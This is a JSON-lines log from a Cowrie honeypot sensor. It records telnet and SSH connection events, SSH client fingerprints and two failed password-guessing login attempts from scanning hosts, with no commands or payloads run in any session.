{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34762,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b7bf130c718","protocol":"telnet","message":"New connection: 103.137.231.186:34762 (159.203.135.109:23) [session: 8b7bf130c718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:34.354242Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42794,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d45c40fe50","protocol":"telnet","message":"New connection: 169.38.112.222:42794 (10.17.0.5:23) [session: 01d45c40fe50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:34.578146Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42804,"dst_ip":"10.17.0.5","dst_port":23,"session":"28bf6dbf0d6a","protocol":"telnet","message":"New connection: 169.38.112.222:42804 (10.17.0.5:23) [session: 28bf6dbf0d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:34.987082Z"}
{"eventid":"cowrie.session.closed","duration":30.50957441329956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:35.109081Z","src_ip":"169.38.112.222","session":"fca652fa0dcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92801070213318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:35.203896Z","src_ip":"103.137.231.186","session":"8cf4ca74d504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34790,"dst_ip":"159.203.135.109","dst_port":23,"session":"604c0cfb85c6","protocol":"telnet","message":"New connection: 103.137.231.186:34790 (159.203.135.109:23) [session: 604c0cfb85c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:35.984062Z"}
{"eventid":"cowrie.session.closed","duration":31.177585124969482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:36.322350Z","src_ip":"103.137.231.186","session":"dc3c9af820b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34806,"dst_ip":"159.203.135.109","dst_port":23,"session":"380b9a742cd8","protocol":"telnet","message":"New connection: 103.137.231.186:34806 (159.203.135.109:23) [session: 380b9a742cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:36.512467Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34822,"dst_ip":"159.203.135.109","dst_port":23,"session":"92ee1a9e4ad5","protocol":"telnet","message":"New connection: 103.137.231.186:34822 (159.203.135.109:23) [session: 92ee1a9e4ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:36.928949Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34828,"dst_ip":"159.203.135.109","dst_port":23,"session":"92c802c6f800","protocol":"telnet","message":"New connection: 103.137.231.186:34828 (159.203.135.109:23) [session: 92c802c6f800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:37.044654Z"}
{"eventid":"cowrie.session.closed","duration":31.323931217193604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:37.238469Z","src_ip":"103.137.231.186","session":"f97785aa07fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34804,"dst_ip":"159.203.135.109","dst_port":23,"session":"339033d59c4e","protocol":"telnet","message":"New connection: 103.137.231.186:34804 (159.203.135.109:23) [session: 339033d59c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:37.335135Z"}
{"eventid":"cowrie.session.closed","duration":31.357662439346313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:37.345650Z","src_ip":"103.137.231.186","session":"79336e6f22df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45687747001648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:37.913997Z","src_ip":"103.137.231.186","session":"685f6f17549e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":39144,"dst_ip":"10.17.0.5","dst_port":23,"session":"f679ca2d4c8b","protocol":"telnet","message":"New connection: 169.38.112.222:39144 (10.17.0.5:23) [session: f679ca2d4c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:38.292441Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":34838,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a36c5d8daf","protocol":"telnet","message":"New connection: 103.137.231.186:34838 (159.203.135.109:23) [session: 71a36c5d8daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:38.356911Z"}
{"eventid":"cowrie.session.closed","duration":43.01612091064453,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:39.305873Z","src_ip":"159.203.13.64","session":"be044032e5d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56408,"dst_ip":"159.203.135.109","dst_port":23,"session":"f16093584510","protocol":"telnet","message":"New connection: 103.137.231.186:56408 (159.203.135.109:23) [session: f16093584510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:39.366992Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56422,"dst_ip":"159.203.135.109","dst_port":23,"session":"6697e5628da0","protocol":"telnet","message":"New connection: 103.137.231.186:56422 (159.203.135.109:23) [session: 6697e5628da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:39.741235Z"}
{"eventid":"cowrie.session.closed","duration":30.434959888458252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:40.120540Z","src_ip":"103.137.231.186","session":"b16afa19023b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56434,"dst_ip":"159.203.135.109","dst_port":23,"session":"e20785d5fcb9","protocol":"telnet","message":"New connection: 103.137.231.186:56434 (159.203.135.109:23) [session: e20785d5fcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:40.226543Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56430,"dst_ip":"159.203.135.109","dst_port":23,"session":"15a7ab8d8794","protocol":"telnet","message":"New connection: 103.137.231.186:56430 (159.203.135.109:23) [session: 15a7ab8d8794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:40.854355Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56444,"dst_ip":"159.203.135.109","dst_port":23,"session":"6175b191eec9","protocol":"telnet","message":"New connection: 103.137.231.186:56444 (159.203.135.109:23) [session: 6175b191eec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:41.861286Z"}
{"eventid":"cowrie.session.closed","duration":32.013047218322754,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:41.922983Z","src_ip":"103.137.231.186","session":"c73ba4ce0033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56460,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaa49b1838eb","protocol":"telnet","message":"New connection: 103.137.231.186:56460 (159.203.135.109:23) [session: aaa49b1838eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:41.972608Z"}
{"eventid":"cowrie.session.closed","duration":31.11862277984619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:42.350420Z","src_ip":"152.53.125.71","session":"71a87b293136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.389847993850708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:42.387132Z","src_ip":"103.137.231.186","session":"358973cdb1dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12381076812744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:43.155769Z","src_ip":"103.137.231.186","session":"51140a003bdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003437757492065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:43.160353Z","src_ip":"169.38.112.222","session":"a006877a812f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274641513824463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:45.133372Z","src_ip":"103.137.231.186","session":"c377285fa2c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75739097595215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:45.196636Z","src_ip":"103.137.231.186","session":"37ecb312b0b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":39156,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b5ba3c0a34","protocol":"telnet","message":"New connection: 169.38.112.222:39156 (10.17.0.5:23) [session: a6b5ba3c0a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:45.211709Z"}
{"eventid":"cowrie.session.closed","duration":30.74448800086975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:45.263993Z","src_ip":"103.137.231.186","session":"8cf30e7e9469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45110,"dst_ip":"10.17.0.5","dst_port":23,"session":"85d8d4e12c63","protocol":"telnet","message":"New connection: 162.253.42.116:45110 (10.17.0.5:23) [session: 85d8d4e12c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:45.463284Z"}
{"eventid":"cowrie.session.closed","duration":39.94941568374634,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:46.781012Z","src_ip":"159.203.13.64","session":"e56fe223c882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50945734977722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:47.159451Z","src_ip":"103.137.231.186","session":"678a1e3cefd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56474,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c05c4455f0e","protocol":"telnet","message":"New connection: 103.137.231.186:56474 (159.203.135.109:23) [session: 4c05c4455f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:47.392993Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56490,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b72a8f8cc8","protocol":"telnet","message":"New connection: 103.137.231.186:56490 (159.203.135.109:23) [session: 45b72a8f8cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:48.054998Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59018,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0cbcf850799","protocol":"telnet","message":"New connection: 159.203.13.64:59018 (10.17.0.5:23) [session: f0cbcf850799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:48.073255Z"}
{"eventid":"cowrie.session.closed","duration":30.83633780479431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:48.132394Z","src_ip":"103.137.231.186","session":"e0f2edfda698","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.142966270446777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:48.255004Z","src_ip":"103.137.231.186","session":"b12d62533616","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.440138816833496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:48.272851Z","src_ip":"103.137.231.186","session":"030576b045d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56500,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c3b0b9fb04","protocol":"telnet","message":"New connection: 103.137.231.186:56500 (159.203.135.109:23) [session: 56c3b0b9fb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:49.068348Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59028,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d4c060eacb1","protocol":"telnet","message":"New connection: 159.203.13.64:59028 (10.17.0.5:23) [session: 5d4c060eacb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:49.230260Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":52648,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c460835d936","protocol":"telnet","message":"New connection: 103.137.231.186:52648 (159.203.135.109:23) [session: 5c460835d936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:49.566047Z"}
{"eventid":"cowrie.session.closed","duration":30.79641079902649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:50.130728Z","src_ip":"103.137.231.186","session":"0e550ba91ac5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":52678,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4aa4734fd37","protocol":"telnet","message":"New connection: 103.137.231.186:52678 (159.203.135.109:23) [session: f4aa4734fd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:50.657484Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":50408,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab1d7e1b337f","protocol":"ssh","message":"New connection: 103.215.80.173:50408 (159.203.135.109:22) [session: ab1d7e1b337f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:50.725993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:50.730569Z","src_ip":"103.215.80.173","session":"ab1d7e1b337f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:50.946110Z","src_ip":"103.215.80.173","session":"ab1d7e1b337f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345678!","message":"login attempt [ubuntu/Abc12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:51.384956Z","src_ip":"103.215.80.173","session":"ab1d7e1b337f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.948740243911743,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:52.021881Z","src_ip":"159.203.13.64","session":"f0cbcf850799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19562268257141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:52.228731Z","src_ip":"103.137.231.186","session":"c894a64722ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"37.7","message":"Connection lost after 37.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:52.431489Z","src_ip":"45.78.194.242","session":"485cccf866ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:52.602595Z","src_ip":"103.215.80.173","session":"ab1d7e1b337f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":52650,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5c524db3c1a","protocol":"telnet","message":"New connection: 103.137.231.186:52650 (159.203.135.109:23) [session: c5c524db3c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:53.214740Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":52662,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb487815610c","protocol":"telnet","message":"New connection: 103.137.231.186:52662 (159.203.135.109:23) [session: eb487815610c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:53.546397Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60952,"dst_ip":"159.203.135.109","dst_port":22,"session":"096ca4fb8f13","protocol":"ssh","message":"New connection: 159.203.92.129:60952 (159.203.135.109:22) [session: 096ca4fb8f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:53.620541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:53.625528Z","src_ip":"159.203.92.129","session":"096ca4fb8f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:53.630253Z","src_ip":"159.203.92.129","session":"096ca4fb8f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alvaro","password":"alvaro","message":"login attempt [alvaro/alvaro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:53.661764Z","src_ip":"159.203.92.129","session":"096ca4fb8f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":52692,"dst_ip":"159.203.135.109","dst_port":23,"session":"a72615f17df5","protocol":"telnet","message":"New connection: 103.137.231.186:52692 (159.203.135.109:23) [session: a72615f17df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:54.119130Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":52718,"dst_ip":"159.203.135.109","dst_port":23,"session":"0872c4738ae4","protocol":"telnet","message":"New connection: 103.137.231.186:52718 (159.203.135.109:23) [session: 0872c4738ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:54.402041Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:54.670509Z","src_ip":"159.203.92.129","session":"096ca4fb8f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.399370670318604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:55.407635Z","src_ip":"103.137.231.186","session":"1dd55a4a7fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029274940490723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:55.412581Z","src_ip":"103.137.231.186","session":"971d4084e396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82090473175049,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:55.868853Z","src_ip":"103.137.231.186","session":"7a35fdf829b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":53608,"dst_ip":"10.17.0.5","dst_port":23,"session":"e00fe1936a2c","protocol":"telnet","message":"New connection: 159.203.13.64:53608 (10.17.0.5:23) [session: e00fe1936a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:55.905261Z"}
{"eventid":"cowrie.session.closed","duration":30.998098850250244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:56.108768Z","src_ip":"169.38.112.222","session":"a6c8a9199b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043641328811646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:56.136532Z","src_ip":"103.137.231.186","session":"3b5366b8fbae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80456304550171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:15:56.153516Z","src_ip":"103.137.231.186","session":"81d5ae4bee0b","protocol":"telnet"}
